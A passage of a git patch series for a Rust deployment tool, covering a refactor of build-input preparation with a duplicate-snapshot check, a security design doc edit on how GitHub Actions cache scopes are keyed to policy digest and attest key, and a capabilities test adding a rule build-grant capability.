@@ pub(crate) fn capture_opened( } } let frozen = freeze( - input.deployment, + std::mem::take(&mut input.deployment), &mut input.source_commits, &mut input.uploads, )?; + Ok(Prepared { input, frozen }) +} + +impl Prepared { + /// What `service` builds from, when it builds from a checkout. + pub(crate) fn input_of(&self, service: &ServiceName) -> Option> { + let (root_dir, settings) = self.frozen.checkouts.get(service)?; + let service = self + .frozen + .intent + .target + .iter() + .find(|spec| spec.name == *service)?; + Some(BuildInput { + root_dir, + settings, + service, + }) + } + + /// Capture the frozen checkouts as Builds, with the Sealed values `opened`. + /// + /// # Errors + /// Returns `invalid_argument` for a missing or escaping checkout, or `not_found` + /// when an uploaded Service needs a new upload. + pub(crate) fn capture( + self, + opened: Option, + ) -> Result { + let Self { mut input, frozen } = self; + capture_frozen(&mut input, frozen, opened) + } +} + +fn capture_frozen( + input: &mut PreparationInput, + frozen: Frozen, + opened: Option, +) -> Result { let mut builds = BTreeMap::new(); let mut variables = BTreeMap::new(); let mut sourceless = Vec::new(); @@ -384,10 +447,15 @@ fn freeze( let mut checkouts = BTreeMap::new(); let mut identities = BTreeMap::new(); let mut uploaded = BTreeMap::new(); + let mut seen = BTreeSet::new(); for snapshot in snapshots { let config = ployz_core::config::parse_service_config(snapshot["config"].clone()) .map_err(invalid)?; let name = &config.settings.private_dns; + // Each Service is built and checked from one snapshot, never a choice of two. + if !seen.insert(name.clone()) { + return Err(invalid(format!("{name} is in more than one snapshot"))); + } let (root_dir, repository_id) = match &config.settings.source { ServiceSource::Git { repository_id, From a0425bffacd5e5b5bb742286c20cb352f02dc716 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 15:08:02 +0000 Subject: [PATCH 09/10] Describe the rule build cache scope as policy plus attest key --- docs/agents/plans/security-0.4/d-build-proof.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/agents/plans/security-0.4/d-build-proof.md b/docs/agents/plans/security-0.4/d-build-proof.md index 3ed3af12fa..5e0e9386ac 100644 --- a/docs/agents/plans/security-0.4/d-build-proof.md +++ b/docs/agents/plans/security-0.4/d-build-proof.md @@ -232,7 +232,7 @@ This is thread C's decision (`c-decisions.md`) applied to D. - **BuildKit on a GitHub-hosted runner** starts empty in each job. Nothing to trust. - **Registry caches** (`cache_from` and `cache_to` of type `registry` or `inline`). Not allowed in a rule's policy, because Cloud can write them through Registry Credentials. -- **The GitHub Actions cache** (`type=gha`). Allowed only with `scope` set to the policy digest. A run on another branch cannot write the approved branch's scope (GitHub's cache isolation, documented, not yet proven here). A run on the approved branch is either a person's push or a Cloud dispatch of the same builder on the same head. A run whose policy differs writes another scope. This stays unproven until slice D3's live lane. If that lane fails, rule policies turn the cache off (operator decision 7). +- **The GitHub Actions cache** (`type=gha`). Allowed only with `scope` set to SHA-256 of a fixed label, the policy digest and the attest key the build secrets opened with. The runner learns that key from Cloud, but it only proceeds once the key authenticates the Machine's HPKE seal, and Machines seal (even an empty set) only after admitting the grant. So a run fed another key, which Cloud could give attacker-chosen secret values, writes a scope no honest build reads. A run on another branch cannot write the approved branch's scope: slice D3's lane 9 showed it. A run whose policy differs writes another scope. - **BuildKit on Machines** (the Servers builder). It is outside this proof. Under enforcement, Cloud cannot start a `Build` (slice D1). ## Head evidence for private repositories From 143b735b5036e3862accdfc74d0a5aaf08bd0892 Mon Sep 17 00:00:00 2001 From: Nick Potts Date: Mon, 9 Nov 2026 15:22:25 +0000 Subject: [PATCH 10/10] Freeze the rule build grant capability and say how older Machines handle it --- core/crates/ployz-core/tests/capabilities.rs | 31 ++++++++++++-------- 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/core/crates/ployz-core/tests/capabilities.rs b/core/crates/ployz-core/tests/capabilities.rs index 0e7064fb5d..5514a27091 100644 --- a/core/crates/ployz-core/tests/capabilities.rs +++ b/core/crates/ployz-core/tests/capabilities.rs @@ -1,16 +1,17 @@ use ployz_core::{ - BUILD_GRANT_HOLDER_CAPABILITY, BUILD_SEALED_CAPABILITY, CERTIFICATE_POLICY_CAPABILITY, - CapabilityAdvertisement, CapabilityName, DESCRIBE_CONTRACT_CAPABILITY, - ENROLL_FOR_RECOVERY_CAPABILITY, ENROLL_MACHINE_CAPABILITY, ENSURE_CONTAINER_CAPABILITY, - ENSURE_IMAGE_INGEST_CAPABILITY, ENV_SEALED_CAPABILITY, EXEC_CONTAINER_CAPABILITY, - FORGET_MACHINE_CAPABILITY, GENERATE_SEALING_KEY_CAPABILITY, INSPECT_BUILD_GRANT_CAPABILITY, - INSPECT_CONTAINER_CAPABILITY, INSPECT_MACHINE_CAPABILITY, INSPECT_STORAGE_CAPABILITY, - INSPECT_VOLUME_COPY_CAPABILITY, INSTALL_SEALING_KEY_CAPABILITY, LEAVE_MACHINE_CAPABILITY, - LIST_CONTAINERS_CAPABILITY, LIST_IMAGES_CAPABILITY, LIST_MACHINES_CAPABILITY, - LIST_VOLUMES_CAPABILITY, LOG_HISTORY_CAPABILITY, MACHINE_STORAGE_OBSERVATION_CAPABILITY, - MANAGEMENT_SCOPE_CAPABILITY, METRIC_HISTORY_CAPABILITY, MINT_BUILD_GRANT_CAPABILITY, - PREPARE_VOLUMES_CAPABILITY, PRUNE_IMAGES_CAPABILITY, PUBLISH_CERTIFICATE_MATERIAL_CAPABILITY, - PULL_IMAGE_CAPABILITY, PULL_IMAGE_FROM_MACHINE_CAPABILITY, READ_CLUSTER_NAME_CAPABILITY, + BUILD_GRANT_HOLDER_CAPABILITY, BUILD_GRANT_RULE_CAPABILITY, BUILD_SEALED_CAPABILITY, + CERTIFICATE_POLICY_CAPABILITY, CapabilityAdvertisement, CapabilityName, + DESCRIBE_CONTRACT_CAPABILITY, ENROLL_FOR_RECOVERY_CAPABILITY, ENROLL_MACHINE_CAPABILITY, + ENSURE_CONTAINER_CAPABILITY, ENSURE_IMAGE_INGEST_CAPABILITY, ENV_SEALED_CAPABILITY, + EXEC_CONTAINER_CAPABILITY, FORGET_MACHINE_CAPABILITY, GENERATE_SEALING_KEY_CAPABILITY, + INSPECT_BUILD_GRANT_CAPABILITY, INSPECT_CONTAINER_CAPABILITY, INSPECT_MACHINE_CAPABILITY, + INSPECT_STORAGE_CAPABILITY, INSPECT_VOLUME_COPY_CAPABILITY, INSTALL_SEALING_KEY_CAPABILITY, + LEAVE_MACHINE_CAPABILITY, LIST_CONTAINERS_CAPABILITY, LIST_IMAGES_CAPABILITY, + LIST_MACHINES_CAPABILITY, LIST_VOLUMES_CAPABILITY, LOG_HISTORY_CAPABILITY, + MACHINE_STORAGE_OBSERVATION_CAPABILITY, MANAGEMENT_SCOPE_CAPABILITY, METRIC_HISTORY_CAPABILITY, + MINT_BUILD_GRANT_CAPABILITY, PREPARE_VOLUMES_CAPABILITY, PRUNE_IMAGES_CAPABILITY, + PUBLISH_CERTIFICATE_MATERIAL_CAPABILITY, PULL_IMAGE_CAPABILITY, + PULL_IMAGE_FROM_MACHINE_CAPABILITY, READ_CLUSTER_NAME_CAPABILITY, READ_ROUTED_ADDRESSES_CAPABILITY, READ_ROUTES_CAPABILITY, RECOVER_SEALING_KEY_CAPABILITY, REGISTER_MACHINE_CAPABILITY, REMOVE_TRUSTED_KEY_CAPABILITY, REMOVE_VOLUME_CAPABILITY, REQUEST_MACHINE_UPGRADE_CAPABILITY, RESTART_APPROVAL_CAPABILITY, @@ -69,6 +70,7 @@ fn catalogued_capabilities_keep_stable_spellings() { (ENV_SEALED_CAPABILITY, "ployz.env.sealed.v1"), (BUILD_SEALED_CAPABILITY, "ployz.build.sealed.v1"), (BUILD_GRANT_HOLDER_CAPABILITY, "ployz.build.grant.holder.v1"), + (BUILD_GRANT_RULE_CAPABILITY, "ployz.build.grant.rule.v1"), ( SET_DEVICE_ENFORCEMENT_CAPABILITY, "ployz.machine.set-device-enforcement.v2", @@ -196,6 +198,7 @@ fn advertised_capability_groups_match_the_frozen_catalog() { "ployz.env.sealed.v1", "ployz.build.sealed.v1", "ployz.build.grant.holder.v1", + "ployz.build.grant.rule.v1", "ployz.restart.device-approval.v2", "ployz.restart.session-grant.v2", "ployz.restart.start-approval.v1", @@ -473,6 +476,10 @@ const ABOVE_FLOOR: &[(&str, &str)] = &[ "ployz.build.grant.holder.v1", "gated: a GitHub check-in mints for the runner's key only on a Machine advertising it; otherwise it mints the old grant, and a Build that reads a Sealed value goes to its next Builder", ), + ( + "ployz.build.grant.rule.v1", + "gated: a rule build's grant request carries `rule` only to a Machine advertising it. An older daemon ignores `rule`, and under Device enforcement it refuses the Operator's mint, so a rule build there fails closed", + ), ( "ployz.sealing.generate.v1", "gated: the Sealing Key backfill reads each Machine's contract first and never picks a generator that lacks it",